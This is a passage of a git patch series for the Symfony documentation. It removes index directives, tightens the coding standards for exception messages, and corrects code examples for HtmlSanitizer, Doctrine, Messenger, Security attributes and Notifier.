index cd9fb1f07a4..5adf9c8aeb0 100644
--- a/session.rst
+++ b/session.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: HTTP
-   single: HttpFoundation, Sessions
-
 Sessions
 ========
 
@@ -122,9 +118,6 @@ class.
     prevent starting sessions for anonymous users, you must *completely* avoid
     accessing the session.
 
-.. index::
-   single: Session; Flash messages
-
 .. _flash-messages:
 
 Flash Messages
@@ -453,9 +446,6 @@ particular cookie by reading the ``getLifetime()`` method::
 The expiry time of the cookie can be determined by adding the created
 timestamp and the lifetime.
 
-.. index::
-    single: Session; Database Storage
-
 .. _session-database:
 
 Store Sessions in a Database
@@ -1152,9 +1142,6 @@ This is the recommended migration workflow:
 #. After verifying that the sessions in your application are working, switch
    from the migrating handler to the new handler.
 
-.. index::
-    single: Sessions, saving locale
-
 .. _locale-sticky-session:
 
 Making the Locale "Sticky" during a User's Session
@@ -1344,9 +1331,6 @@ event::
     language preferences, you also need to update the session when you change
     the ``User`` entity.
 
-.. index::
-   single: Sessions, Session Proxy, Proxy
-
 Session Proxies
 ---------------
 
diff --git a/setup.rst b/setup.rst
index 28c38aac9ac..ec92fcb3d3a 100644
--- a/setup.rst
+++ b/setup.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Installing and Setting up Symfony
-
 Installing & Setting up the Symfony Framework
 =============================================
 
diff --git a/setup/bundles.rst b/setup/bundles.rst
index fe4f59cb819..bd3346b7ea1 100644
--- a/setup/bundles.rst
+++ b/setup/bundles.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Upgrading; Bundle; Major Version
-
 Upgrading a Third-Party Bundle for a Major Symfony Version
 ==========================================================
 
diff --git a/setup/docker.rst b/setup/docker.rst
index cc6b4f6ebf6..605afa64c19 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -1,5 +1,3 @@
-.. index:: Docker
-
 Using Docker with Symfony
 =========================
 
diff --git a/setup/flex.rst b/setup/flex.rst
index d5a9c113dc2..7c12e389c67 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -1,5 +1,3 @@
-.. index:: Flex
-
 Upgrading Existing Applications to Symfony Flex
 ===============================================
 
diff --git a/setup/homestead.rst b/setup/homestead.rst
index 7143b5adeae..9e2ecad5930 100644
--- a/setup/homestead.rst
+++ b/setup/homestead.rst
@@ -1,5 +1,3 @@
-.. index:: Vagrant, Homestead
-
 Using Symfony with Homestead/Vagrant
 ====================================
 
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index aaffd2f36ae..d6faf5f81c5 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Upgrading; Major Version
-
 Upgrading a Major Version (e.g. 5.4.0 to 6.0.0)
 ===============================================
 
diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index a6a23b787f1..bb1cfda62fa 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Upgrading; Minor Version
-
 Upgrading a Minor Version (e.g. 5.0.0 to 5.1.0)
 ===============================================
 
diff --git a/setup/upgrade_patch.rst b/setup/upgrade_patch.rst
index 632f6602550..d867f371dee 100644
--- a/setup/upgrade_patch.rst
+++ b/setup/upgrade_patch.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Upgrading; Patch Version
-
 Upgrading a Patch Version (e.g. 5.0.0 to 5.0.1)
 ===============================================
 
diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 89ff10f2e62..f5f259413b5 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Web Server
-
 Configuring a Web Server
 ========================
 
diff --git a/templates.rst b/templates.rst
index 3f451faa0f9..edaf8deeb52 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Templating
-
 Creating and Using Templates
 ============================
 
@@ -414,9 +411,6 @@ In addition to the global ``app`` variable injected by Symfony, you can also
 inject variables automatically to all Twig templates as explained in the next
 section.
 
-.. index::
-   single: Templating; Global variables
-
 .. _templating-global-variables:
 
 Global Variables
@@ -1030,9 +1024,6 @@ template fragments. Configure that special URL in the ``fragments`` option:
     the application performance if you embed lots of controllers. If possible,
     :doc:`cache the template fragment </http_cache/esi>`.
 
-.. index::
-    single: Templating; hinclude.js
-
 .. _templates-hinclude:
 
 How to Embed Asynchronous Content with hinclude.js
@@ -1424,9 +1415,6 @@ you can refer to it as ``@AcmeFoo/user/profile.html.twig``.
     You can also :ref:`override bundle templates <override-templates>` in case
     you want to change some parts of the original bundle templates.
 
-.. index::
-   single: Twig extensions
-
 .. _templates-twig-extension:
 
 Writing a Twig Extension
diff --git a/testing.rst b/testing.rst
index 3931efec69f..c7885328242 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Tests
-
 Testing
 =======
 
diff --git a/testing/database.rst b/testing/database.rst
index 0bd0d03af62..64095eec01b 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Tests; Database
-
 How to Test A Doctrine Repository
 =================================
 
diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst
index 7b47487d09f..65669698539 100644
--- a/testing/dom_crawler.rst
+++ b/testing/dom_crawler.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Tests; Crawler
-
 The DOM Crawler
 ===============
 
diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index a55ae639e0b..46ddb82b87d 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Tests; HTTP authentication
-
 How to Simulate HTTP Authentication in a Functional Test
 ========================================================
 
diff --git a/testing/insulating_clients.rst b/testing/insulating_clients.rst
index e2a5b8d9ff4..5a76d517ced 100644
--- a/testing/insulating_clients.rst
+++ b/testing/insulating_clients.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Tests; Insulating clients
-
 How to Test the Interaction of several Clients
 ==============================================
 
diff --git a/testing/profiling.rst b/testing/profiling.rst
index 0637e134a91..f7e2d8e54da 100644
--- a/testing/profiling.rst
+++ b/testing/profiling.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Tests; Profiling
-
 How to Use the Profiler in a Functional Test
 ============================================
 
diff --git a/translation.rst b/translation.rst
index 052844f70a8..e36fb9ff321 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Translations
-
 Translations
 ============
 
@@ -747,9 +744,6 @@ now use the following commands to push (upload) and pull (download) translations
 
 .. _translation-locale:
 
-.. index::
-    single: Translation; Locale
-
 Handling the User's Locale
 --------------------------
 
@@ -908,9 +902,6 @@ application.
     Define the locale requirement as a :ref:`container parameter <configuration-parameters>`
     to avoid hardcoding its value in all your routes.
 
-.. index::
-    single: Translations; Fallback and default locale
-
 .. _translation-default-locale:
 
 Setting a Default Locale
@@ -1024,11 +1015,6 @@ checks translation resources for several locales:
 
 .. _translation-debug:
 
-.. index::
-    single: Translation; Debug
-    single: Translation; Missing Messages
-    single: Translation; Unused Messages
-
 How to Find Missing or Unused Translation Messages
 --------------------------------------------------
 
@@ -1242,10 +1228,6 @@ These constants are defined as "bit masks", so you can combine them as follows::
 
 .. _translation-lint:
 
-.. index::
-    single: Translation; Lint
-    single: Translation; Translation File Errors
-
 How to Find Errors in Translation Files
 ---------------------------------------
 
diff --git a/validation.rst b/validation.rst
index 27f970a701d..33b578216dd 100644
--- a/validation.rst
+++ b/validation.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Validation
-
 Validation
 ==========
 
@@ -11,10 +8,6 @@ into a database or passed to a web service.
 Symfony provides a `Validator`_ component to handle this for you. This
 component is based on the `JSR303 Bean Validation specification`_.
 
-.. index::
-   pair: Validation; Installation
-   pair: Validation; Configuration
-
 Installation
 ------------
 
@@ -31,9 +24,6 @@ install the validator before using it:
     manual configuration to enable validation. Check out the
     :ref:`Validation configuration reference <reference-validation>`.
 
-.. index::
-   single: Validation; The basics
-
 The Basics of Validation
 ------------------------
 
@@ -145,9 +135,6 @@ be passed to the validator service to be checked.
     get the value of any property, so they can be public, private or protected
     (see :ref:`validator-constraint-targets`).
 
-.. index::
-   single: Validation; Using the validator
-
 Using the Validator Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -230,9 +217,6 @@ Inside the template, you can output the list of errors exactly as needed:
     Each validation error (called a "constraint violation"), is represented by
     a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object.
 
-.. index::
-   single: Validation; Callables
-
 Validation Callables
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -255,9 +239,6 @@ when :ref:`validating OptionsResolver values <optionsresolver-validate-value>`):
 
     ``Validation::createIsValidCallable()`` was introduced in Symfony 5.3.
 
-.. index::
-   single: Validation; Constraints
-
 .. _validation-constraints:
 
 Constraints
@@ -283,9 +264,6 @@ Symfony packages many of the most commonly-needed constraints:
 You can also create your own custom constraints. This topic is covered in
 the :doc:`/validation/custom_constraint` article.
 
-.. index::
-   single: Validation; Constraints configuration
-
 .. _validation-constraint-configuration:
 
 Constraint Configuration
@@ -519,9 +497,6 @@ of the form fields::
         ;
     }
 
-.. index::
-   single: Validation; Constraint targets
-
 .. _validator-constraint-targets:
 
 Constraint Targets
@@ -533,9 +508,6 @@ are the most common and easy to use. Getter constraints allow you to specify
 more complex validation rules. Finally, class constraints are intended
 for scenarios where you want to validate a class as a whole.
 
-.. index::
-   single: Validation; Property constraints
-
 .. _validation-property-target:
 
 Properties
@@ -636,9 +608,6 @@ class to have at least 3 characters.
     This can cause unexpected behavior if the property holds a value when initialized.
     In order to avoid this, make sure all properties are initialized before validating them.
 
-.. index::
-   single: Validation; Getter constraints
-
 Getters
 ~~~~~~~
 
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index f6d47badd54..9200e0d9dec 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Validation; Custom constraints
-
 How to Create a Custom Validation Constraint
 ============================================
 
diff --git a/validation/groups.rst b/validation/groups.rst
index 60aa7efb2f2..8be6e8f81b6 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Validation; Groups
-
 How to Apply only a Subset of all Your Validation Constraints (Validation Groups)
 =================================================================================
 
diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index 3565de902d8..b863d9ee3ed 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Validation; Validating raw values
-
 How to Validate Raw Values (Scalar Values and Arrays)
 =====================================================
 
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index a17193b74a8..f0fe22ce4df 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Validation; Group Sequences
-    single: Validation; Group Sequence Providers
-
 How to Sequentially Apply Validation Groups
 ===========================================
 
diff --git a/validation/severity.rst b/validation/severity.rst
index 7df7746c7f2..9692bc942cd 100644
--- a/validation/severity.rst
+++ b/validation/severity.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Validation; Error Levels
-    single: Validation; Payload
-
 How to Handle Different Error Levels
 ====================================
 
diff --git a/validation/translations.rst b/validation/translations.rst
index 10ce5b11275..3f7f461aacd 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Validation; Translation
-
 How to Translate Validation Constraint Messages
 ===============================================
 
diff --git a/web_link.rst b/web_link.rst
index a91fd8d684c..fb81376cba3 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Web Link
-
 Asset Preloading and Resource Hints with HTTP/2 and WebLink
 ===========================================================
 
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index 98e5911561f..d4d6adc3a74 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Workflow; Dumping Workflows
-
 How to Dump Workflows
 =====================
 

From 6d3fc809535b62be68dcab6b5011a6f4adf93141 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 28 Mar 2023 13:45:18 +0200
Subject: [PATCH 3135/5766] [Standards] Improve code standards about exception
 and error messages

---
 contributing/code/standards.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index e8af77af491..f60ca017280 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -179,6 +179,12 @@ Structure
 
 * Exception and error message strings must be concatenated using :phpfunction:`sprintf`;
 
+* Exception and error messages must not contain backticks, even when referring to a
+  technical element (such as a method name for example). Double quotes must be used
+  at all time;
+
+* Exception and error messages must start with a capital letter and finish with a dot ``.``;
+
 * Do not use ``else``, ``elseif``, ``break`` after ``if`` and ``case`` conditions
   which return or throw something;
 

From f4612fb661017be6d03bcdca816aa96af7ffe9f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Mar 2023 15:54:05 +0100
Subject: [PATCH 3136/5766] minor #18029 [HtmlSanitizer] Fix API usage on PHP
 config files (alexandre-daubois)

This PR was merged into the 6.2 branch.

Discussion
----------

[HtmlSanitizer] Fix API usage on PHP config files

Fixes https://github.com/symfony/symfony-docs/issues/18024

Commits
-------

2c8a35d49 [HtmlSanitizer] Fix API usage on PHP config files
---
 html_sanitizer.rst | 32 ++++++++++----------------------
 1 file changed, 10 insertions(+), 22 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 71530a87065..a75b0a02562 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -364,16 +364,13 @@ attributes from the `W3C Standard Proposal`_ are allowed.
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow the <article> element and 2 attributes
-                    ->allowElement('article')
-                        ->attribute('class')
-                        ->attribute('data-attr')
+                    ->allowElement('article', ['class', 'data-attr'])
 
                     // allow the <img> element and preserve the src attribute
-                    ->allowElement('img')
-                        ->attribute('src')
+                    ->allowElement('img', 'src')
 
                     // allow the <h1> element with all safe attributes
-                    ->allowElement('h1', '*')
+                    ->allowElement('h1')
             ;
         };
 
@@ -528,12 +525,10 @@ on all elements allowed *before this setting*.
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow "src' on <iframe> elements
-                    ->allowAttribute('src')
-                        ->element('iframe')
+                    ->allowAttribute('src', ['iframe'])
 
                     // allow "data-attr" on all elements currently allowed
-                    ->allowAttribute('data-attr')
-                        ->element('*')
+                    ->allowAttribute('data-attr', '*')
             ;
         };
 
@@ -620,12 +615,10 @@ This option allows you to disallow attributes that were allowed before.
                         ->element('*')
 
                     // ...except for the <section> element
-                    ->dropAttriute('data-attr')
-                        ->element('section')
+                    ->dropAttribute('data-attr', ['section'])
 
                     // disallows "style' on any allowed element
                     ->dropAttribute('style')
-                        ->element('*')
             ;
         };
 
@@ -640,7 +633,7 @@ This option allows you to disallow attributes that were allowed before.
                 ->allowAttribute('data-attr')
 
                 // ...except for the <section> element
-                ->dropAttriute('data-attr', ['section'])
+                ->dropAttribute('data-attr', ['section'])
 
                 // disallows "style' on any allowed element
                 ->dropAttribute('style')
@@ -695,8 +688,7 @@ element (even if the original one didn't contain a ``rel`` attribute):
         return static function (FrameworkConfig $framework) {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
-                    ->forceAttribute('a')
-                        ->attribute('rel', 'noopener noreferrer')
+                    ->forceAttribute('a', 'rel', 'noopener noreferrer')
             ;
         };
 
@@ -791,9 +783,7 @@ URLs of ``<a>`` elements:
 
                     // specifies the allowed URL schemes. If the URL has a different scheme, the
                     // attribute will be dropped
-                    ->allowedLinkScheme('http')
-                    ->allowedLinkScheme('https')
-                    ->allowedLinkScheme('mailto')
+                    ->allowedLinkSchemes(['http', 'https', 'mailto'])
 
                     // specifies the allowed hosts, the attribute will be dropped if the
                     // URL contains a different host
@@ -907,9 +897,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
 
                     // specifies the allowed URL schemes. If the URL has a different scheme, the
                     // attribute will be dropped
-                    ->allowedMediaScheme('http')
-                    ->allowedMediaScheme('https')
-                    ->allowedMediaScheme('mailto')
+                    ->allowedMediaSchemes(['http', 'https', 'mailto'])
 
                     // specifies the allowed hosts, the attribute will be dropped if the URL
                     // contains a different host

From 34e669426d43bd4c17018e74200bc4833d3db64a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Mar 2023 17:27:01 +0100
Subject: [PATCH 3137/5766] minor #18091 [Doctrine] replace ManagerRegistry in
 doctrine associations doc (MrYamous)

This PR was merged into the 6.2 branch.

Discussion
----------

[Doctrine] replace ManagerRegistry in doctrine associations doc

Commits
-------

e8313e624 replace ManagerRegistry with EntityManagerInterface in doctrine associations doc
---
 doctrine/associations.rst | 19 +++++++++----------
 1 file changed, 9 insertions(+), 10 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 8ebdadf7864..f89e2c9b237 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -313,14 +313,14 @@ Now you can see this new code in action! Imagine you're inside a controller::
     // ...
     use App\Entity\Category;
     use App\Entity\Product;
-    use Doctrine\Persistence\ManagerRegistry;
+    use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class ProductController extends AbstractController
     {
         #[Route('/product', name: 'product')]
-        public function index(ManagerRegistry $doctrine): Response
+        public function index(EntityManagerInterface $entityManager): Response
         {
             $category = new Category();
             $category->setName('Computer Peripherals');
@@ -333,7 +333,6 @@ Now you can see this new code in action! Imagine you're inside a controller::
             // relates this product to the category
             $product->setCategory($category);
 
-            $entityManager = $doctrine->getManager();
             $entityManager->persist($category);
             $entityManager->persist($product);
             $entityManager->flush();
@@ -379,9 +378,9 @@ before. First, fetch a ``$product`` object and then access its related
 
     class ProductController extends AbstractController
     {
-        public function show(ManagerRegistry $doctrine, int $id): Response
+        public function show(ProductRepository $productRepository, int $id): Response
         {
-            $product = $doctrine->getRepository(Product::class)->find($id);
+            $product = $productRepository->find($id);
             // ...
 
             $categoryName = $product->getCategory()->getName();
@@ -412,9 +411,9 @@ direction::
     // ...
     class ProductController extends AbstractController
     {
-        public function showProducts(ManagerRegistry $doctrine, int $id): Response
+        public function showProducts(CategoryRepository $categoryRepository, int $id): Response
         {
-            $category = $doctrine->getRepository(Category::class)->find($id);
+            $category = $categoryRepository->find($id);
 
             $products = $category->getProducts();
 
@@ -433,7 +432,7 @@ by adding JOINs.
     a "proxy" object in place of the true object. Look again at the above
     example::
 
-        $product = $doctrine->getRepository(Product::class)->find($id);
+        $product = $productRepository->find($id);
 
         $category = $product->getCategory();
 
@@ -503,9 +502,9 @@ object and its related ``Category`` in one query::
     // ...
     class ProductController extends AbstractController
     {
-        public function show(ManagerRegistry $doctrine, int $id): Response
+        public function show(ProductRepository $productRepository, int $id): Response
         {
-            $product = $doctrine->getRepository(Product::class)->findOneByIdJoinedToCategory($id);
+            $product = $productRepository->findOneByIdJoinedToCategory($id);
 
             $category = $product->getCategory();
 

From d4090cef42994525901cc553a05e2adaeb62cd4c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Mar 2023 13:07:18 +0100
Subject: [PATCH 3138/5766] minor #18081 Update events.rst (hbgamra)

This PR was merged into the 6.2 branch.

Discussion
----------

Update events.rst

Add void return type

<!--

If your pull request fixes a BUG, use the oldest maintained branch that contains
the bug (see https://symfony.com/releases for the list of maintained branches).

If your pull request documents a NEW FEATURE, use the same Symfony branch where
the feature was introduced (and `6.x` for features of unreleased versions).

-->

Commits
-------

752721ede Update events.rst
---
 form/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/events.rst b/form/events.rst
index a99698aa247..d8ab9d60b87 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -272,7 +272,7 @@ method of the ``FormFactory``::
     $form = $formFactory->createBuilder()
         ->add('username', TextType::class)
         ->add('showEmail', CheckboxType::class)
-        ->addEventListener(FormEvents::PRE_SUBMIT, function (FormEvent $event) {
+        ->addEventListener(FormEvents::PRE_SUBMIT, function (FormEvent $event): void {
             $user = $event->getData();
             $form = $event->getForm();
 

From c05d565245b9fdcdac81e6e981d6797a656ee8c2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Mar 2023 17:02:38 +0100
Subject: [PATCH 3139/5766] minor #18018 [Messenger] add
 `WorkerRateLimitedEvent` (MrYamous)

This PR was merged into the 6.2 branch.

Discussion
----------

[Messenger] add `WorkerRateLimitedEvent`

Commits
-------

70e481743 add `WorkerRateLimitedEvent`
---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index e51d2158584..5a82200261c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2480,10 +2480,15 @@ of the process. For each, the event class is the event name:
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageHandledEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageReceivedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`
+* :class:`Symfony\\Component\\Messenger\\Event\\WorkerRateLimitedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerRunningEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStartedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStoppedEvent`
 
+.. versionadded:: 6.2
+
+    The ``WorkerRateLimitedEvent`` was introduced in Symfony 6.3.
+
 Multiple Buses, Command & Event Buses
 -------------------------------------
 

From 8239c88828d6bad6d511047cbc4116b956dd5bc9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Mar 2023 09:32:04 +0100
Subject: [PATCH 3140/5766] minor #18114 update default value for framework.ide
 (GromNaN)

This PR was merged into the 6.2 branch.

Discussion
----------

update default value for framework.ide

The default value was changed in https://github.com/symfony/symfony/pull/44575

Commits
-------

9636026f4 update default value for framework.ide
---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 309362be791..03755ad6a7a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -254,7 +254,7 @@ reverse proxy. See :doc:`/deployment/proxies`.
 ide
 ~~~
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string`` **default**: ``%env(default::SYMFONY_IDE)%``
 
 Symfony turns file paths seen in variable dumps and exception messages into
 links that open those files right inside your browser. If you prefer to open

From 20f41f8e3fe5d422925804db8445d357cd74583d Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 24 Mar 2023 18:02:50 +0100
Subject: [PATCH 3141/5766] feature #17513 [Security] Use expression for
 `#[IsGranted()]` subject (HypeMC)

This PR was merged into the 6.2 branch.

Discussion
----------

[Security] Use expression for `#[IsGranted()]` subject

https://github.com/symfony/symfony/pull/46978
https://github.com/symfony/symfony/pull/48080
https://github.com/symfony/symfony/pull/48102

Commits
-------

9d4045f90 [Security] Use expression for #[IsGranted()] subject
---
 security/expressions.rst | 64 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 64 insertions(+)

diff --git a/security/expressions.rst b/security/expressions.rst
index 5fbbdd1169a..f94cf2aeda2 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -23,6 +23,7 @@ and ``#[IsGranted()]`` attribute also accept an
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\ExpressionLanguage\Expression;
         use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Security\Http\Attribute\IsGranted;
 
         class MyController extends AbstractController
         {
@@ -144,6 +145,69 @@ Additionally, you have access to a number of functions inside the expression:
     true if the user has actually logged in during this session (i.e. is
     full-fledged).
 
+In case of the ``#[IsGranted()]`` attribute, the subject can also be an
+:class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
+
+    // src/Controller/MyController.php
+    namespace App\Controller;
+
+    use App\Entity\Post;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\ExpressionLanguage\Expression;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Security\Http\Attribute\IsGranted;
+
+    class MyController extends AbstractController
+    {
+        #[IsGranted(
+            attribute: new Expression('user === subject'),
+            subject: new Expression('args["post"].getAuthor()'),
+        )]
+        public function index(Post $post): Response
+        {
+            // ...
+        }
+    }
+
+In this example, we fetch the author of the post and use it as the subject. If the subject matches
+the current user, then access will be granted.
+
+The subject may also be an array where the key can be used as an alias for the result of an expression::
+
+    #[IsGranted(
+        attribute: new Expression('user === subject["author"] and subject["post"].isPublished()'),
+        subject: [
+            'author' => new Expression('args["post"].getAuthor()'),
+            'post',
+        ],
+    )]
+    public function index(Post $post): Response
+    {
+        // ...
+    }
+
+Here, access will be granted if the author matches the current user
+and the post's ``isPublished()`` method returns ``true``.
+
+You can also use the current request as the subject::
+
+    #[IsGranted(
+        attribute: '...',
+        subject: new Expression('request'),
+    )]
+    public function index(): Response
+    {
+        // ...
+    }
+
+Inside the subject's expression, you have access to two variables:
+
+``request``
+    The :ref:`Symfony Request <component-http-foundation-request>` object that
+    represents the current request.
+``args``
+    An array of controller arguments that are passed to the controller.
+
 Learn more
 ----------
 

From 00623bd9501ef517c7bf2cb1169e7ff1023ca82c Mon Sep 17 00:00:00 2001
From: Julien RAVIA <jrgfawkes@gmail.com>
Date: Wed, 29 Mar 2023 00:27:09 +0200
Subject: [PATCH 3142/5766] Fix typo on codeblock

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index f1746ffb7b0..b965ae83ba0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -857,7 +857,7 @@ dispatched. Listeners receive a
         $message = $event->getMessage();
 
         // log something
-        $this->logger(sprintf('Message with subject: %s will be send to %s, $message->getSubject(), $message->getRecipientId()'));
+        $this->logger(sprintf('Message with subject: %s will be send to %s', $message->getSubject(), $message->getRecipientId()));
     });
 
 The ``FailedMessageEvent`` Event
@@ -883,7 +883,7 @@ Listeners receive a
         $error = $event->getError();
 
         // log something
-        $this->logger(sprintf('The message with subject: %s has not been sent successfully. The error is: %s, $message->getSubject(), $error->getMessage()'));
+        $this->logger(sprintf('The message with subject: %s has not been sent successfully. The error is: %s', $message->getSubject(), $error->getMessage()));
     });
 
 The ``SentMessageEvent`` Event
@@ -903,7 +903,7 @@ is dispatched. Listeners receive a
         $message = $event->getOriginalMessage();
 
         // log something
-        $this->logger(sprintf('The message has been successfully sent and has id: %s, $message->getMessageId()'));
+        $this->logger(sprintf('The message has been successfully sent and has id: %s', $message->getMessageId()));
     });
 
 .. TODO

From c2165d141d1bd6ea1bf866a72944d0bd10e87eb6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 09:17:00 +0200
Subject: [PATCH 3143/5766] [Notifier] Fix a minor syntax issue

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 4d4bbe2472b..e8203273ad2 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,7 +59,7 @@ a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
 ==================  =====================================  ===========================================================================
-Service             Package                               DSN
+Service             Package                                DSN
 ==================  =====================================  ===========================================================================
 `46elks`_           ``symfony/forty-six-elks-notifier``    ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
 `AllMySms`_         ``symfony/all-my-sms-notifier``        ``allmysms://LOGIN:APIKEY@default?from=FROM``

From 336996e4481ce49c5b529c5b708b5cbc444bb750 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 09:43:46 +0200
Subject: [PATCH 3144/5766] Minor tweak

---
 contributing/code/standards.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index f60ca017280..56f2a439473 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -179,9 +179,9 @@ Structure
 
 * Exception and error message strings must be concatenated using :phpfunction:`sprintf`;
 
-* Exception and error messages must not contain backticks, even when referring to a
-  technical element (such as a method name for example). Double quotes must be used
-  at all time;
+* Exception and error messages must not contain backticks (e.g. 'The \`foo\` option ...'),
+  even when referring to a technical element (such as a method or variable name).
+  Double quotes must be used at all time (e.g. 'The "foo" option ...'),;
 
 * Exception and error messages must start with a capital letter and finish with a dot ``.``;
 

From 01a3f2d1297d86721dbadc1102d86739d68883f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 10:09:07 +0200
Subject: [PATCH 3145/5766] Remove more index directives

---
